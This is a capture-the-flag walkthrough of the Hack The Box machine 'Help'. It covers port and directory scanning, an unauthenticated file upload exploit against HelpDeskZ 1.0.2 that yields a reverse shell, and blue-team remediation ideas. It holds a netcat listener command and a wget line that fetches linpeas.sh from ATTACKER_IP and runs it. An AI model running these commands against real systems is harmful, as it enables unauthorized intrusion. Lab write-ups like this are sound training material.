Hack The Box - Help

🎯 Objective

Gain an initial foothold on 10.10.10.121 by exploiting an unauthenticated file upload in HelpDeskZ 1.0.2, obtain a reverse shell, and begin post‑exploitation enumeration.

🗺️ Target & Scope

• Target host: 10.10.10.121
• Attack box: local
• Exposure: HTTP web app (HelpDeskZ), unknown exact version at first
• Rules: Standard HTB etiquette

🧰 Tooling

• Recon: nmap, manual browser crawl, gobuster
• Exploit: Public PoC – HelpDeskZ 1.0.2 Unauthenticated File Upload
• Listener: nc
• Post-exploitation: LinPEAS / local privesc kit

🔎 Recon

Initial Nmap Scan

nmap -sC -sV -T4 -oA help_initial_scan -Pn 10.10.10.121

Full TCP Port Sweep

(Started a second scan to enumerate all TCP ports.)

nmap -p- -T4 -oA help_all_ports -Pn 10.10.10.121

🌐 Web Enumeration

• Began manually crawling the site while running gobuster in the background.

gobuster dir -u http://10.10.10.121/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 50

• Identified an older HelpDeskZ installation.

💥 Vulnerability & Exploit

Chose the public exploit: HelpDeskZ 1.0.2 – Arbitrary File Upload

Listener

nc -lvnp 4444

Exploit Notes (Timestamp/Timezone Gotcha)

• The original PoC computes the upload path based on the server time (year/month directories).
• Server and client timezones were out of sync, which broke path resolution.
• Fix: adjust the exploit to use the server’s timezone/clock (or offset) when deriving the upload location/path, then retry the upload + trigger.

After patching the time logic → upload succeeded and reverse shell connected.

Reverse shell established 🎉

📈 Post‑Exploitation (Initial)

Uploaded a privilege escalation kit to enumerate services, kernel, SUID/SGID binaries, misconfigs, creds, etc.

# Example
wget http://ATTACKER_IP/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh

🧾 Commands Recap

# Recon
nmap -sC -sV -T4 -oA help_initial_scan -Pn 10.10.10.121
nmap -p- -T4 -oA help_all_ports -Pn 10.10.10.121
gobuster dir -u http://10.10.10.121/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 50

# Listener
nc -lvnp 4444

# Post-exploitation (example)
wget http://ATTACKER_IP/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh

✅ Key Takeaways

• Old HelpDeskZ (1.0.2) is susceptible to unauthenticated file upload → straightforward foothold.
• Exploits that derive upload paths from server time may fail if timezones/clock differ; adjust PoC accordingly.
• Always run a full port sweep alongside targeted scans; start web enum early in parallel.
• Bring a post‑exploitation checklist/tool (LinPEAS or custom kit) to accelerate enumeration.

🛠️ Remediation Ideas (Blue Team)

• Upgrade or decommission legacy HelpDeskZ versions.
• Restrict upload file types and enforce server‑side content validation.
• Deny public write access and segment /uploads/ locations.
• Centralize and monitor server time/NTP; drift can cause fragility in apps and audit trails.
• Web app hardening: WAF rules, least privilege FS permissions, disable dangerous PHP handlers.

Notes compiled from the original session; screenshots retained in the exact format for consistency.